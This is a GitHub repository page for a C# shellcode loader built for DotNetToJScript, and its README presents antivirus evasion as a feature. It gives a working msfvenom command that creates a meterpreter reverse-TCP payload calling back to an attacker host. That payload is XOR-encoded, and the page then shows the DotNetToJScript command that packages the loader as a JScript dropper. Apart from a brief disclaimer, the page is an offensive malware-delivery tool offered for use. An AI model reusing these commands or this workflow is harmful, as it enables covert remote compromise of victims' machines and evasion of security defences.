Skip to content

Krptyk/DotNetToJScriptShellcodeLoader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

XOR Encrypted Shellcode Loader for DotNetToJScript

This project provides a method for executing encrypted shellcode using a combination of XOR encryption and the DotNetToJScript tool. It's designed for users who need to execute shellcode within a .NET environment.

Features

  • XOR encryption of shellcode for AV static evasion.
  • Integration with DotNetToJScript for seamless execution in a .NET context.

Prerequisites

Usage

Generating XOR Encrypted Shellcode

  1. Generate your encrypted shellcode. The following example uses msfvenom and the provided Python script:

    msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.1.1 lport=1336 -f raw 2>/dev/null | python3 xor.py -t go -x 31 > meterpreter.txt
    

    Note: 31 is used as the encryption/decryption key - change this as you see fit.

Setting Up DotNetToJScript

  1. Import the C#Shellcode Loader into the DotNetToJScript solution, replacing TestClass.cs.

  2. Build the solution in release mode.

Execution

  1. Copy DotNetToJscript.exe and NDesk.Options.dll to your designated folder.

  2. Navigate to the ExampleAssembly folder and copy ExampleAssembly.dll. Ensure these DLL files are in the same directory as DotNetToJScript.exe.

  3. Create the .js file using DotNetToJScript:

    DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
    

Disclaimer

This tool is intended for educational and legal usage only. The author is not responsible for misuse or for any damage that may be caused by the tool.

About

A C# class tailored for .NET to JScript interoperation, enabling the execution of encrypted shellcode with memory allocation and XOR decryption capabilities. Designed to work with DotNetToJScript

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors